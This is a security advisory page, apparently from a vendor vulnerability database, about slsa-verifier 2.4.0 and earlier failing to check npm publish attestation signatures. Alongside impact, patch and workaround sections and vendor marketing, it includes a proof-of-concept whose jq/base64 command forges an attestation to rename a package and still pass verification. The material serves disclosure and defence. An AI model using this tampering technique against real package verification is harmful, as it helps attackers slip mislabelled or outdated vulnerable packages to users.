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GHSA-r2xv-vpr2-42m9

slsa-verifier vulnerable to mproper validation of npm's publish attestations

Also known asGO-2023-2188
Published
Nov 8, 2023
Updated
Feb 4, 2026
Affected
2 pkgs
Patched
1 / 2
Exploits
None indexed

Blast Radius

2 pkgs affected
🐹github.com/slsa-framework/slsa-verifier/v2🐹github.com/slsa-framework/slsa-verifier

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

slsa-verifier<=2.4.0 does not correctly verify npm's publish attestations signature.

Proof of concept

Steps to reproduce:

  1. curl -Sso attestations.json $(npm view @trishankatdatadog/supreme-goggles --json | jq -r '.dist.attestations.url')
  2. curl -Sso supreme-goggles.tgz "$(npm view @trishankatdatadog/supreme-goggles --json | jq -r '.dist.tarball')"
  3. In attestations.json, take the value addressed by the jq selector .attestations[0].bundle.dsseEnvelope.payload, base64decode it, tamper with it, base64encode that, and replace the original value with that. Save the file as attestations_tampered.json. Here is an example command to replace the package name with @attacker/malicious: jq -r ".attestations[0].bundle.dsseEnvelope.payload = \"$(jq -r '.attestations[0].bundle.dsseEnvelope.payload | @base64d' < attestations.json | jq '.subject[0].name = "pkg:npm/%40attacker/malicious"' | base64 -w0)\"" < attestations.json > attestations_tampered.json
  4. SLSA_VERIFIER_EXPERIMENTAL=1 slsa-verifier verify-npm-package supreme-goggles.tgz --attestations-path attestations_tampered.json --builder-id "https://github.com/actions/runner/github-hosted" --package-name "@trishankatdatadog/supreme-goggles" --package-version 1.0.5 --source-uri github.com/trishankatdatadog/supreme-goggles
  5. The result is that slsa-verifier fails to detect this tampering of the publish attestation (unlike with the provenance attestation) and returns PASSED.

Impact

An attacker who controls what packages and attestations are shown to a user can associate a package with an arbitrary name and version that do not match what the user expects from the publish attestation. Furthermore, the package digest in the publish attestation need not match its counterpart in the provenance attestation. However, the attacker cannot associate the given package with an arbitrary source and builder that the user does not expect from the provenance attestation. Thus, the attacker could, for example, convince package managers to install authentic but older versions of packages that contain known, exploitable vulnerabilities.

Severity is considered low because 1) it does not invalidate the provenance and 2) support for npm is currently experimental.

Patches

Fixed by PR #705 and released in versions >=2.4.1.

Workarounds

There is no easy way for users to fix or remediate this vulnerability without upgrading, short of verifying npm's publish attestations themselves, and cross-verifying it against GHA's provenance attestations.

References

Affected Packages

2 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/slsa-framework/slsa-verifier/v2all versions2.4.1-rc.0
🐹Gogithub.com/slsa-framework/slsa-verifierall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/slsa-framework/slsa-verifier/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/slsa-framework/slsa-verifier/v2 to 2.4.1-rc.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r2xv-vpr2-42m9 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-r2xv-vpr2-42m9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-r2xv-vpr2-42m9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `slsa-verifier<=2.4.0` does not correctly verify npm's [publish](https://github.com/npm/attestation/tree/main/specs/publish/v0.1) attestations signature. ### Proof of concept Steps to reproduce: 1. `curl -Sso attestations.json $(npm view @trishankatdatadog/supreme-goggles --json | jq -r '.dist.attestations.url')` 2. `curl -Sso supreme-goggles.tgz "$(npm view @trishankatdatadog/supreme-goggles --json | jq -r '.dist.tarball')"` 3. In `attestations.json`, take the value addressed by the `jq` selector `.attestations[0].bundle.dsseEnvelope.payload`, base64decode it, tamper with it, b
O3 Security · Impact-Aware SCA

Is GHSA-r2xv-vpr2-42m9 in your dependencies?

O3 detects GHSA-r2xv-vpr2-42m9 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.